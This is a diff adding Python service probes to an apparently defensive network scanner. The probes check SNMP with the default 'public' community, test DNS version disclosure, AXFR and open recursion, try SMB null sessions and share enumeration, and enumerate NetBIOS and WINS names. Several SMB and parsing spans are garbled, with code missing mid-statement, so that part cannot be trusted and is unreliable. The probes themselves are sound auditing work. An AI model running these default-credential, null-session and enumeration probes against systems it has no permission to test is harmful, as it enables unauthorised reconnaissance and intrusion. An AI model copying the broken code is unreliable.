Attempt SNMP community string disclosure using 'public'. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None} + sock = None + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(2) + packet = bytes.fromhex( + "302e020103300702010304067075626c6963a019020405f5e10002010002010030100406082b060102010101000500" + ) + sock.sendto(packet, (target, port)) + data, _ = sock.recvfrom(512) + readable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data) + if 'public' in readable.lower(): + raw["banner"] = readable.strip()[:120] + findings.append(Finding( + severity=Severity.HIGH, + title="SNMP default community string 'public' accepted", + description="SNMP agent responds to the default 'public' community string, " + "allowing unauthenticated read access to device configuration and network data.", + evidence=f"Response: {readable.strip()[:80]}", + remediation="Change the community string from 'public' to a strong value; migrate to SNMPv3.", + owasp_id="A07:2021", + cwe_id="CWE-798", + confidence="certain", + )) + # Walk system MIB for additional intel + mib_result = self._snmp_walk_system_mib(target, port) + if mib_result: + sys_info = mib_result.get("system", {}) + raw.update(sys_info) + findings.extend(mib_result.get("findings", [])) + else: + raw["banner"] = readable.strip()[:120] + findings.append(Finding( + severity=Severity.INFO, + title="SNMP service responded", + description=f"SNMP agent on {target}:{port} responded but did not accept 'public' community.", + evidence=f"Response: {readable.strip()[:80]}", + confidence="firm", + )) + except socket.timeout: + return probe_error(target, port, "SNMP", Exception("timed out")) + except Exception as e: + return probe_error(target, port, "SNMP", e) + finally: + if sock is not None: + sock.close() + return probe_result(raw_data=raw, findings=findings) + + # -- SNMP MIB walk helpers ------------------------------------------------ + + _ICS_KEYWORDS = frozenset({ + "siemens", "simatic", "schneider", "allen-bradley", "honeywell", + "abb", "modicon", "rockwell", "yokogawa", "emerson", "ge fanuc", + }) + + def _is_ics_indicator(self, text): + lower = text.lower() + return any(kw in lower for kw in self._ICS_KEYWORDS) + + @staticmethod + def _snmp_encode_oid(oid_str): + parts = [int(p) for p in oid_str.split(".")] + body = bytes([40 * parts[0] + parts[1]]) + for v in parts[2:]: + if v < 128: + body += bytes([v]) + else: + chunks = [] + chunks.append(v & 0x7F) + v >>= 7 + while v: + chunks.append(0x80 | (v & 0x7F)) + v >>= 7 + body += bytes(reversed(chunks)) + return body + + def _snmp_build_getnext(self, community, oid_str, request_id=1): + oid_body = self._snmp_encode_oid(oid_str) + oid_tlv = bytes([0x06, len(oid_body)]) + oid_body + varbind = bytes([0x30, len(oid_tlv) + 2]) + oid_tlv + b"\x05\x00" + varbind_seq = bytes([0x30, len(varbind)]) + varbind + req_id = bytes([0x02, 0x01, request_id & 0xFF]) + err_status = b"\x02\x01\x00" + err_index = b"\x02\x01\x00" + pdu_body = req_id + err_status + err_index + varbind_seq + pdu = bytes([0xA1, len(pdu_body)]) + pdu_body + version = b"\x02\x01\x00" + comm = bytes([0x04, len(community)]) + community.encode() + inner = version + comm + pdu + return bytes([0x30, len(inner)]) + inner + + @staticmethod + def _snmp_parse_response(data): + try: + pos = 0 + if data[pos] != 0x30: + return None, None + pos += 2 # skip SEQUENCE tag + length + # skip version + if data[pos] != 0x02: + return None, None + pos += 2 + data[pos + 1] + # skip community + if data[pos] != 0x04: + return None, None + pos += 2 + data[pos + 1] + # response PDU (0xA2) + if data[pos] != 0xA2: + return None, None + pos += 2 + # skip request-id, error-status, error-index (3 integers) + for _ in range(3): + pos += 2 + data[pos + 1] + # varbind list SEQUENCE + pos += 2 # skip SEQUENCE tag + length + # first varbind SEQUENCE + pos += 2 # skip SEQUENCE tag + length + # OID + if data[pos] != 0x06: + return None, None + oid_len = data[pos + 1] + oid_bytes = data[pos + 2: pos + 2 + oid_len] + # decode OID + parts = [str(oid_bytes[0] // 40), str(oid_bytes[0] % 40)] + i = 1 + while i < len(oid_bytes): + if oid_bytes[i] < 128: + parts.append(str(oid_bytes[i])) + i += 1 + else: + val = 0 + while i < len(oid_bytes) and oid_bytes[i] & 0x80: + val = (val << 7) | (oid_bytes[i] & 0x7F) + i += 1 + if i < len(oid_bytes): + val = (val << 7) | oid_bytes[i] + i += 1 + parts.append(str(val)) + oid_str = ".".join(parts) + pos += 2 + oid_len + # value + val_tag = data[pos] + val_len = data[pos + 1] + val_raw = data[pos + 2: pos + 2 + val_len] + if val_tag == 0x04: # OCTET STRING + value = val_raw.decode("utf-8", errors="replace") + elif val_tag == 0x02: # INTEGER + value = str(int.from_bytes(val_raw, "big", signed=True)) + elif val_tag == 0x43: # TimeTicks + value = str(int.from_bytes(val_raw, "big")) + elif val_tag == 0x40: # IpAddress (APPLICATION 0) + if len(val_raw) == 4: + value = ".".join(str(b) for b in val_raw) + else: + value = val_raw.hex() + else: + value = val_raw.hex() + return oid_str, value + except Exception: + return None, None + + _SYSTEM_OID_NAMES = { + "1.3.6.1.2.1.1.1": "sysDescr", + "1.3.6.1.2.1.1.3": "sysUpTime", + "1.3.6.1.2.1.1.4": "sysContact", + "1.3.6.1.2.1.1.5": "sysName", + "1.3.6.1.2.1.1.6": "sysLocation", + } + + def _snmp_walk_system_mib(self, target, port): + import ipaddress as _ipaddress + system = {} + walk_findings = [] + sock = None + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(2) + + def _walk(prefix): + oid = prefix + results = [] + for _ in range(20): + pkt = self._snmp_build_getnext("public", oid) + sock.sendto(pkt, (target, port)) + try: + resp, _ = sock.recvfrom(1024) + except socket.timeout: + break + resp_oid, resp_val = self._snmp_parse_response(resp) + if resp_oid is None or not resp_oid.startswith(prefix + "."): + break + results.append((resp_oid, resp_val)) + oid = resp_oid + return results + + # Walk system MIB subtree + for resp_oid, resp_val in _walk("1.3.6.1.2.1.1"): + base = ".".join(resp_oid.split(".")[:8]) + name = self._SYSTEM_OID_NAMES.get(base) + if name: + system[name] = resp_val + + sys_descr = system.get("sysDescr", "") + if sys_descr: + self._emit_metadata("os_claims", f"snmp:{port}", sys_descr) + if self._is_ics_indicator(sys_descr): + walk_findings.append(Finding( + severity=Severity.HIGH, + title="SNMP exposes ICS/SCADA device identity", + description=f"sysDescr contains ICS keywords: {sys_descr[:120]}", + evidence=f"sysDescr={sys_descr[:120]}", + remediation="Isolate ICS devices from general network; restrict SNMP access.", + confidence="firm", + )) + + # Walk ipAddrTable for interface IPs + for resp_oid, resp_val in _walk("1.3.6.1.2.1.4.20.1.1"): + try: + addr = _ipaddress.ip_address(resp_val) + except (ValueError, TypeError): + continue + if addr.is_private: + self._emit_metadata("internal_ips", {"ip": str(addr), "source": f"snmp_interface:{port}"}) + walk_findings.append(Finding( + severity=Severity.MEDIUM, + title=f"SNMP leaks internal IP address {addr}", + description="Interface IP from ipAddrTable is RFC1918, revealing internal topology.", + evidence=f"ipAddrEntry={resp_val}", + remediation="Restrict SNMP read access; filter sensitive MIBs.", + confidence="certain", + )) + except Exception: + pass + finally: + if sock is not None: + sock.close() + if not system and not walk_findings: + return None + return {"system": system, "findings": walk_findings} + + def _service_info_dns(self, target, port): # default port: 53 + """ + Query CHAOS TXT version.bind to detect DNS version disclosure. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None, "dns_version": None} + sock = None + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(2) + tid = random.randint(0, 0xffff) + header = struct.pack('>HHHHHH', tid, 0x0100, 1, 0, 0, 0) + qname = b'\x07version\x04bind\x00' + question = struct.pack('>HH', 16, 3) + packet = header + qname + question + sock.sendto(packet, (target, port)) + data, _ = sock.recvfrom(512) + + # Parse CHAOS TXT response + parsed = False + if len(data) >= 12 and struct.unpack('>H', data[:2])[0] == tid: + ancount = struct.unpack('>H', data[6:8])[0] + if ancount: + idx = 12 + len(qname) + 4 + if idx < len(data): + if data[idx] & 0xc0 == 0xc0: + idx += 2 + else: + while idx < len(data) and data[idx] != 0: + idx += data[idx] + 1 + idx += 1 + idx += 8 + if idx + 2 <= len(data): + rdlength = struct.unpack('>H', data[idx:idx+2])[0] + idx += 2 + if idx < len(data): + txt_length = data[idx] + txt = data[idx+1:idx+1+txt_length].decode('utf-8', errors='ignore') + if txt: + raw["dns_version"] = txt + raw["banner"] = f"DNS version: {txt}" + findings.append(Finding( + severity=Severity.LOW, + title=f"DNS version disclosure: {txt}", + description=f"CHAOS TXT version.bind query reveals DNS software version.", + evidence=f"version.bind TXT: {txt}", + remediation="Disable version.bind responses in the DNS server configuration.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="certain", + )) + parsed = True + # CVE check — version.bind is BIND-specific + _bind_m = _re.search(r'(\d+\.\d+(?:\.\d+)*)', txt) + if _bind_m: + findings += check_cves("bind", _bind_m.group(1)) + + # Fallback: check raw data for version keywords + if not parsed: + readable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data) + if 'bind' in readable.lower() or 'version' in readable.lower(): + raw["banner"] = readable.strip()[:80] + findings.append(Finding( + severity=Severity.LOW, + title="DNS version disclosure via CHAOS TXT", + description=f"CHAOS TXT response on {target}:{port} contains version keywords.", + evidence=f"Response contains: {readable.strip()[:80]}", + remediation="Disable version.bind responses in the DNS server configuration.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="firm", + )) + else: + raw["banner"] = "DNS service responding" + findings.append(Finding( + severity=Severity.INFO, + title="DNS CHAOS TXT query did not disclose version", + description=f"DNS on {target}:{port} responded but did not reveal version.", + confidence="firm", + )) + except socket.timeout: + return probe_error(target, port, "DNS", Exception("CHAOS query timed out")) + except Exception as e: + return probe_error(target, port, "DNS", e) + finally: + if sock is not None: + sock.close() + + # --- DNS zone transfer (AXFR) test --- + axfr_findings = self._dns_test_axfr(target, port) + findings += axfr_findings + + # --- Open recursive resolver test --- + resolver_finding = self._dns_test_open_resolver(target, port) + if resolver_finding: + findings.append(resolver_finding) + + return probe_result(raw_data=raw, findings=findings) + + def _dns_discover_zones(self, target, port): + """Discover zone names the DNS server is authoritative for. + + Strategy: send SOA queries for a set of candidate domains and check + for authoritative (AA-flag) responses. This is far more reliable than + reverse-DNS guessing when the target serves non-obvious zones. + + Returns list of domain strings (may be empty). + """ + candidates = set() + + # 1. Reverse DNS of target → extract domain + try: + import socket as _socket + hostname, _, _ = _socket.gethostbyaddr(target) + parts = hostname.split(".") + if len(parts) >= 2: + candidates.add(".".join(parts[-2:])) + if len(parts) >= 3: + candidates.add(".".join(parts[-3:])) + except Exception: + pass + + # 2. Common pentest / CTF domains + candidates.update(["vulhub.org", "example.com", "test.local"]) + + # 3. Probe each candidate with a SOA query — keep only authoritative hits + authoritative = [] + for domain in list(candidates): + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(2) + tid = random.randint(0, 0xffff) + header = struct.pack('>HHHHHH', tid, 0x0100, 1, 0, 0, 0) + qname = b"" + for label in domain.split("."): + qname += bytes([len(label)]) + label.encode() + qname += b"\x00" + question = struct.pack('>HH', 6, 1) # QTYPE=SOA, QCLASS=IN + sock.sendto(header + qname + question, (target, port)) + data, _ = sock.recvfrom(512) + sock.close() + if len(data) >= 12 and struct.unpack('>H', data[:2])[0] == tid: + flags = struct.unpack('>H', data[2:4])[0] + aa = (flags >> 10) & 1 # Authoritative Answer + rcode = flags & 0x0F + ancount = struct.unpack('>H', data[6:8])[0] + if aa and rcode == 0 and ancount > 0: + authoritative.append(domain) + except Exception: + pass + + # Return authoritative zones first, then remaining candidates as fallback + seen = set(authoritative) + result = list(authoritative) + for d in candidates: + if d not in seen: + result.append(d) + return result + + def _dns_test_axfr(self, target, port): + """Attempt DNS zone transfer (AXFR) via TCP. + + Uses SOA-based zone discovery to find authoritative zones before + attempting AXFR, falling back to reverse DNS and common domains. + + Returns list of findings. + """ + findings = [] + + test_domains = self._dns_discover_zones(target, port) + + for domain in test_domains[:4]: # Test at most 4 domains + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + + # Build AXFR query + tid = random.randint(0, 0xffff) + header = struct.pack('>HHHHHH', tid, 0x0100, 1, 0, 0, 0) + # Encode domain name + qname = b"" + for label in domain.split("."): + qname += bytes([len(label)]) + label.encode() + qname += b"\x00" + # QTYPE=252 (AXFR), QCLASS=1 (IN) + question = struct.pack('>HH', 252, 1) + dns_query = header + qname + question + # TCP DNS: 2-byte length prefix + sock.sendall(struct.pack(">H", len(dns_query)) + dns_query) + + # Read response + resp_len_bytes = sock.recv(2) + if len(resp_len_bytes) < 2: + sock.close() + continue + resp_len = struct.unpack(">H", resp_len_bytes)[0] + resp_data = b"" + while len(resp_data) < resp_len: + chunk = sock.recv(resp_len - len(resp_data)) + if not chunk: + break + resp_data += chunk + sock.close() + + # Parse: check if we got answers (ancount > 0) and no error (rcode = 0) + if len(resp_data) >= 12: + resp_tid = struct.unpack(">H", resp_data[0:2])[0] + flags = struct.unpack(">H", resp_data[2:4])[0] + rcode = flags & 0x0F + ancount = struct.unpack(">H", resp_data[6:8])[0] + + if resp_tid == tid and rcode == 0 and ancount > 0: + findings.append(Finding( + severity=Severity.HIGH, + title=f"DNS zone transfer (AXFR) allowed for {domain}", + description=f"DNS on {target}:{port} permits zone transfers for '{domain}'. " + "This leaks all DNS records — hostnames, IPs, mail servers, internal infrastructure.", + evidence=f"AXFR query returned {ancount} answer records for {domain}.", + remediation="Restrict zone transfers to authorized secondary nameservers only (allow-transfer).", + owasp_id="A01:2021", + cwe_id="CWE-200", + confidence="certain", + )) + break # One confirmed AXFR is enough + except Exception: + continue + + return findings + + def _dns_test_open_resolver(self, target, port): + """Test if DNS server acts as an open recursive resolver. + + Returns Finding or None. + """ + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(2) + tid = random.randint(0, 0xffff) + # Standard recursive query for example.com A record + header = struct.pack('>HHHHHH', tid, 0x0100, 1, 0, 0, 0) # RD=1 + qname = b'\x07example\x03com\x00' + question = struct.pack('>HH', 1, 1) # QTYPE=A, QCLASS=IN + packet = header + qname + question + sock.sendto(packet, (target, port)) + data, _ = sock.recvfrom(512) + sock.close() + + if len(data) >= 12 and struct.unpack('>H', data[:2])[0] == tid: + flags = struct.unpack('>H', data[2:4])[0] + qr = (flags >> 15) & 1 + rcode = flags & 0x0F + ancount = struct.unpack('>H', data[6:8])[0] + ra = (flags >> 7) & 1 # Recursion Available + + if qr == 1 and rcode == 0 and ancount > 0 and ra == 1: + return Finding( + severity=Severity.MEDIUM, + title="DNS open recursive resolver detected", + description=f"DNS on {target}:{port} recursively resolves queries for external domains. " + "Open resolvers can be abused for DNS amplification DDoS attacks.", + evidence=f"Recursive query for example.com returned {ancount} answers with RA flag set.", + remediation="Restrict recursive queries to authorized clients only (allow-recursion).", + owasp_id="A05:2021", + cwe_id="CWE-406", + confidence="certain", + ) + except Exception: + pass + return None + + def _service_info_smb(self, target, port): # default port: 445 + """ + Probe SMB services: dialect negotiation, version extraction, CVE matching, + null session test, and security flag analysis. + + Checks performed: + + 1. SMB negotiate — determine supported dialect (SMBv1/v2/v3). + 2. Version extraction — parse Samba/Windows version from NativeOS/NativeLanMan. + 3. Security flags — check signing requirements. + 4. Null session — attempt anonymous IPC$ access. + 5. CVE matching — run check_cves on extracted Samba version. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = { + "banner": None, "dialect": None, "server_os": None, + "server_domain": None, "samba_version": None, + "signing_required": None, "smbv1_supported": False, + } + + # --- 1. SMBv1 Negotiate --- + # Build a proper SMBv1 Negotiate Protocol Request with NT LM 0.12 dialect + dialects = b"\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00" + smb_header = bytearray(32) + smb_header[0:4] = b"\xffSMB" # Protocol ID + smb_header[4] = 0x72 # Command: Negotiate + # Flags: 0x18 (case-sensitive, canonicalized paths) + smb_header[13] = 0x18 + # Flags2: unicode + NT status + long names + struct.pack_into("I", len(smb_payload)) + netbios_header = b"\x00" + netbios_header[1:] # force type=0 + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(4) + sock.connect((target, port)) + sock.sendall(netbios_header + smb_payload) + + # Read NetBIOS header (4 bytes) + full response + resp_hdr = self._smb_recv_exact(sock, 4) + if not resp_hdr: + sock.close() + findings.append(Finding( + severity=Severity.INFO, + title="SMB port open but no negotiation response", + description=f"Port {port} is open but SMB did not respond to negotiation.", + confidence="tentative", + )) + return probe_result(raw_data=raw, findings=findings) + + resp_len = struct.unpack(">I", b"\x00" + resp_hdr[1:4])[0] + resp_data = self._smb_recv_exact(sock, min(resp_len, 4096)) + sock.close() + + if not resp_data or len(resp_data) < 36: + raw["banner"] = "SMB response too short" + findings.append(Finding( + severity=Severity.MEDIUM, + title="SMB service responded to negotiation probe", + description=f"SMB on {target}:{port} accepts negotiation requests.", + evidence=f"Response: {(resp_data or b'').hex()[:48]}", + remediation="Restrict SMB access to trusted networks; disable SMBv1.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + return probe_result(raw_data=raw, findings=findings) + + # Check if SMBv1 or SMBv2 response + protocol_id = resp_data[0:4] + + if protocol_id == b"\xffSMB": + # --- SMBv1 response --- + raw["smbv1_supported"] = True + raw["banner"] = "SMBv1 negotiation response received" + + # Parse negotiate response body (after 32-byte header) + if len(resp_data) >= 37: + word_count = resp_data[32] + if word_count >= 17 and len(resp_data) >= 32 + 1 + 34: + words_start = 33 + dialect_idx = struct.unpack_from("= 17 and len(resp_data) >= words_start + 2 + 22 + 2: + sec_blob_len = struct.unpack_from("= 1: + raw["server_domain"] = parts[0] + if len(parts) >= 2: + raw["server_name"] = parts[1] + except Exception: + pass + + # SMBv1 is a security concern + findings.append(Finding( + severity=Severity.MEDIUM, + title="SMBv1 protocol supported (legacy, attack surface for MS17-010)", + description=f"SMB on {target}:{port} supports SMBv1, which is vulnerable to " + "EternalBlue (MS17-010) and other SMBv1-specific attacks.", + evidence=f"Negotiated dialect: {raw['dialect']}, SMBv1 response received.", + remediation="Disable SMBv1 on the server (e.g., 'server min protocol = SMB2' in smb.conf).", + owasp_id="A06:2021", + cwe_id="CWE-757", + confidence="certain", + )) + + elif protocol_id == b"\xfeSMB": + # --- SMBv2/3 response --- + raw["banner"] = "SMBv2 negotiation response received" + if len(resp_data) >= 72: + smb2_dialect = struct.unpack_from(" Session Setup (null) -> Tree Connect IPC$ -> + Open \\srvsvc pipe -> DCE/RPC Bind -> NetShareEnumAll -> parse results. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + SMB port (typically 445). + + Returns + ------- + list[dict] + Each dict has keys ``name`` (str), ``type`` (int), ``comment`` (str). + Returns empty list on any failure. + """ + sock = None + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(4) + sock.connect((target, port)) + + def _send_smb(payload): + nb_hdr = b"\x00" + struct.pack(">I", len(payload))[1:] + sock.sendall(nb_hdr + payload) + + def _recv_smb(): + resp_hdr = self._smb_recv_exact(sock, 4) + if not resp_hdr: + return None + resp_len = struct.unpack(">I", b"\x00" + resp_hdr[1:4])[0] + return self._smb_recv_exact(sock, min(resp_len, 65536)) + + # ---- 1. Negotiate (NT LM 0.12) ---- + dialects = b"\x02NT LM 0.12\x00" + smb_hdr = bytearray(32) + smb_hdr[0:4] = b"\xffSMB" + smb_hdr[4] = 0x72 # Negotiate + smb_hdr[13] = 0x18 + struct.pack_into(" len(enum_resp): + data_len = len(enum_resp) - data_off + if data_off >= len(enum_resp) or data_len < 24: + return [] + + dce_data = enum_resp[data_off:data_off + data_len] + + # DCE/RPC response header is 24 bytes, then stub data + if len(dce_data) < 24: + return [] + dce_stub = dce_data[24:] + + return self._parse_netshareenumall_response(dce_stub) + + except Exception: + return [] + finally: + if sock: + try: + sock.close() + except Exception: + pass + + @staticmethod + def _parse_netshareenumall_response(stub): + """Parse NetShareEnumAll DCE/RPC stub response into share list. + + Parameters + ---------- + stub : bytes + DCE/RPC stub data (after the 24-byte response header). + + Returns + ------- + list[dict] + Each dict: {"name": str, "type": int, "comment": str}. + """ + shares = [] + try: + if len(stub) < 20: + return [] + + # Response stub layout: + # [4] info_level + # [4] switch_value + # [4] referent pointer for SHARE_INFO_1_CONTAINER + # [4] entries_read + # [4] referent pointer for array + # Then for each entry: [4] name_ptr, [4] type, [4] comment_ptr + # Then the actual strings (NDR conformant arrays) + + offset = 0 + offset += 4 # info_level + offset += 4 # switch_value + offset += 4 # referent pointer + if offset + 4 > len(stub): + return [] + entries_read = struct.unpack_from(" 500: + return [] + + offset += 4 # array referent pointer + offset += 4 # max count (NDR array header) + + # Read the fixed-size entries: name_ptr(4) + type(4) + comment_ptr(4) each + entry_records = [] + for _ in range(entries_read): + if offset + 12 > len(stub): + break + name_ptr = struct.unpack_from(" len(data): + return "", off + max_count = struct.unpack_from(" len(data): + s = data[off:].decode("utf-16-le", errors="ignore").rstrip("\x00") + return s, len(data) + s = data[off:off + byte_len].decode("utf-16-le", errors="ignore").rstrip("\x00") + off += byte_len + # Align to 4-byte boundary + if off % 4: + off += 4 - (off % 4) + return s, off + + for name_ptr, share_type, comment_ptr in entry_records: + name, offset = read_ndr_string(stub, offset) + comment, offset = read_ndr_string(stub, offset) + if name: + shares.append({ + "name": name, + "type": share_type, + "comment": comment, + }) + + except Exception: + pass + return shares + + def _smb_try_null_session(self, target, port): + """Attempt SMBv1 null session to extract Samba version from SessionSetup response. + + Returns + ------- + str or None + Extracted Samba version string (e.g. '4.6.3'), or None. + """ + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + + # --- Negotiate --- + dialects = b"\x02NT LM 0.12\x00" + smb_header = bytearray(32) + smb_header[0:4] = b"\xffSMB" + smb_header[4] = 0x72 # Negotiate + smb_header[13] = 0x18 + struct.pack_into("I", len(payload))[1:] + sock.sendall(nb_hdr + payload) + + # Read negotiate response + resp_hdr = self._smb_recv_exact(sock, 4) + if not resp_hdr: + sock.close() + return None + resp_len = struct.unpack(">I", b"\x00" + resp_hdr[1:4])[0] + self._smb_recv_exact(sock, min(resp_len, 4096)) + + # --- Session Setup AndX (null session) --- + smb_header2 = bytearray(32) + smb_header2[0:4] = b"\xffSMB" + smb_header2[4] = 0x73 # Session Setup AndX + smb_header2[13] = 0x18 + struct.pack_into("I", len(payload2))[1:] + sock.sendall(nb_hdr2 + payload2) + + # Read session setup response + resp_hdr2 = self._smb_recv_exact(sock, 4) + if not resp_hdr2: + sock.close() + return None + resp_len2 = struct.unpack(">I", b"\x00" + resp_hdr2[1:4])[0] + resp_data2 = self._smb_recv_exact(sock, min(resp_len2, 4096)) + sock.close() + + if not resp_data2: + return None + + # Extract NativeOS string — contains "Samba x.y.z" or "Windows ..." + # Search the response bytes for "Samba" followed by a version + resp_text = resp_data2.decode("utf-8", errors="ignore") + samba_match = _re.search(r'Samba\s+(\d+\.\d+(?:\.\d+)?)', resp_text) + if samba_match: + return samba_match.group(1) + + # Also try UTF-16-LE decoding + resp_text_u16 = resp_data2.decode("utf-16-le", errors="ignore") + samba_match_u16 = _re.search(r'Samba\s+(\d+\.\d+(?:\.\d+)?)', resp_text_u16) + if samba_match_u16: + return samba_match_u16.group(1) + + except Exception: + pass + return None + + + # NetBIOS name suffix → human-readable type + _NBNS_SUFFIX_TYPES = { + 0x00: "Workstation", + 0x03: "Messenger (logged-in user)", + 0x20: "File Server (SMB sharing)", + 0x1C: "Domain Controller", + 0x1B: "Domain Master Browser", + 0x1E: "Browser Election Service", + } + + def _service_info_wins(self, target, port): # ports: 42 (WINS/TCP), 137 (NBNS/UDP) + """ + Probe WINS / NetBIOS Name Service for name enumeration and service detection. + + Port 42 (TCP): WINS replication — sends MS-WINSRA Association Start Request + to fingerprint the service and extract NBNS version. Also fires a UDP + side-probe to port 137 for NetBIOS name enumeration. + Port 137 (UDP): NBNS — sends wildcard node-status query (RFC 1002) to + enumerate registered NetBIOS names. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None, "netbios_names": [], "wins_responded": False} + + # -- Build NetBIOS wildcard node-status query (RFC 1002) -- + tid = struct.pack('>H', random.randint(0, 0xFFFF)) + # Flags: 0x0010 (recursion desired) + # Questions: 1, Answers/Auth/Additional: 0 + header = tid + struct.pack('>HHHHH', 0x0010, 1, 0, 0, 0) + # Encoded wildcard name "*" (first-level NetBIOS encoding) + # '*' (0x2A) → half-bytes 0x02, 0x0A → chars 'C','K', padded with 'A' (0x00 half-bytes) + qname = b'\x20' + b'CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + b'\x00' + # Type: NBSTAT (0x0021), Class: IN (0x0001) + question = struct.pack('>HH', 0x0021, 0x0001) + nbns_query = header + qname + question + + def _parse_nbns_response(data): + """Parse a NetBIOS node-status response and return list of (name, suffix, flags).""" + names = [] + if len(data) < 14: + return names + # Verify transaction ID matches + if data[:2] != tid: + return names + ancount = struct.unpack('>H', data[6:8])[0] + if ancount == 0: + return names + # Skip past header (12 bytes) then answer name (compressed pointer or full) + idx = 12 + if idx < len(data) and data[idx] & 0xC0 == 0xC0: + idx += 2 + else: + while idx < len(data) and data[idx] != 0: + idx += data[idx] + 1 + idx += 1 + # Type (2) + Class (2) + TTL (4) + RDLength (2) = 10 bytes + if idx + 10 > len(data): + return names + idx += 10 + if idx >= len(data): + return names + num_names = data[idx] + idx += 1 + # Each name entry: 15 bytes name + 1 byte suffix + 2 bytes flags = 18 bytes + for _ in range(num_names): + if idx + 18 > len(data): + break + name_bytes = data[idx:idx + 15] + suffix = data[idx + 15] + flags = struct.unpack('>H', data[idx + 16:idx + 18])[0] + name = name_bytes.decode('ascii', errors='ignore').rstrip() + names.append((name, suffix, flags)) + idx += 18 + return names + + def _udp_nbns_probe(udp_port): + """Send UDP NBNS wildcard query, return parsed names or empty list.""" + sock = None + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(3) + sock.sendto(nbns_query, (target, udp_port)) + data, _ = sock.recvfrom(1024) + return _parse_nbns_response(data) + except Exception: + return [] + finally: + if sock is not None: + sock.close() + + def _add_nbns_findings(names, probe_label): + """Populate raw data and findings from enumerated NetBIOS names.""" + raw["netbios_names"] = [ + {"name": n, "suffix": f"0x{s:02X}", "type": self._NBNS_SUFFIX_TYPES.get(s, f"Unknown(0x{s:02X})")} + for n, s, _f in names + ] + name_list = "; ".join( + f"{n} <{s:02X}> ({self._NBNS_SUFFIX_TYPES.get(s, 'unknown')})" + for n, s, _f in names + ) + findings.append(Finding( + severity=Severity.HIGH, + title="NetBIOS name enumeration successful", + description=( + f"{probe_label} responded to a wildcard node-status query, " + "leaking computer name, domain membership, and potentially logged-in users." + ), + evidence=f"Names: {name_list[:200]}", + remediation="Block UDP port 137 at the firewall; disable NetBIOS over TCP/IP in network adapter settings.", + owasp_id="A01:2021", + cwe_id="CWE-200", + confidence="certain", + )) + findings.append(Finding( + severity=Severity.INFO, + title=f"NetBIOS names discovered ({len(names)} entries)", + description=f"Enumerated names: {name_list}", + evidence=f"Names: {name_list[:300]}", + confidence="certain", + )) + + try: + if port == 137: + # -- Direct UDP NBNS probe -- + names = _udp_nbns_probe(137) + if names: + raw["banner"] = f"NBNS: {len(names)} name(s) enumerated" + _add_nbns_findings(names, f"NBNS on {target}:{port}") + else: + raw["banner"] = "NBNS port open (no response to wildcard query)" + findings.append(Finding( + severity=Severity.INFO, + title="NBNS port open but no names returned", + description=f"UDP port {port} on {target} did not respond to NetBIOS wildcard query.", + confidence="tentative", + )) + else: + # -- TCP WINS replication probe (MS-WINSRA Association Start Request) -- + # Also attempt UDP NBNS side-probe to port 137 for name enumeration + names = _udp_nbns_probe(137) + if names: + _add_nbns_findings(names, f"NBNS side-probe to {target}:137") + + # Build MS-WINSRA Association Start Request per [MS-WINSRA] §2.2.3: + # Common Header (16 bytes): + # Packet Length: 41 (0x00000029) — excludes this field + # Reserved: 0x00007800 (opcode, ignored by spec) + # Destination Assoc Handle: 0x00000000 (first message, unknown) + # Message Type: 0x00000000 (Association Start Request) + # Body (25 bytes): + # Sender Assoc Handle: random 4 bytes + # NBNS Major Version: 2 (required) + # NBNS Minor Version: 5 (Win2k+) + # Reserved: 21 zero bytes (pad to 41) + sender_ctx = random.randint(1, 0xFFFFFFFF) + wrepl_header = struct.pack('>I', 41) # Packet Length + wrepl_header += struct.pack('>I', 0x00007800) # Reserved / opcode + wrepl_header += struct.pack('>I', 0) # Destination Assoc Handle + wrepl_header += struct.pack('>I', 0) # Message Type: Start Request + wrepl_body = struct.pack('>I', sender_ctx) # Sender Assoc Handle + wrepl_body += struct.pack('>HH', 2, 5) # Major=2, Minor=5 + wrepl_body += b'\x00' * 21 # Reserved padding + wrepl_packet = wrepl_header + wrepl_body + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + sock.sendall(wrepl_packet) + + # Distinguish three recv outcomes: + # data received → parse as WREPL (confirmed WINS) + # timeout → connection held open, no reply (likely WINS, non-partner) + # empty / closed → server sent FIN immediately (unconfirmed service) + data = None + recv_timed_out = False + try: + data = sock.recv(1024) + except socket.timeout: + recv_timed_out = True + finally: + sock.close() + + if data and len(data) >= 20: + raw["wins_responded"] = True + # Parse response: first 4 bytes = Packet Length, next 16 = common header + resp_msg_type = struct.unpack('>I', data[12:16])[0] if len(data) >= 16 else None + version_info = "" + if resp_msg_type == 1 and len(data) >= 24: + # Association Start Response — extract version + resp_major = struct.unpack('>H', data[20:22])[0] if len(data) >= 22 else None + 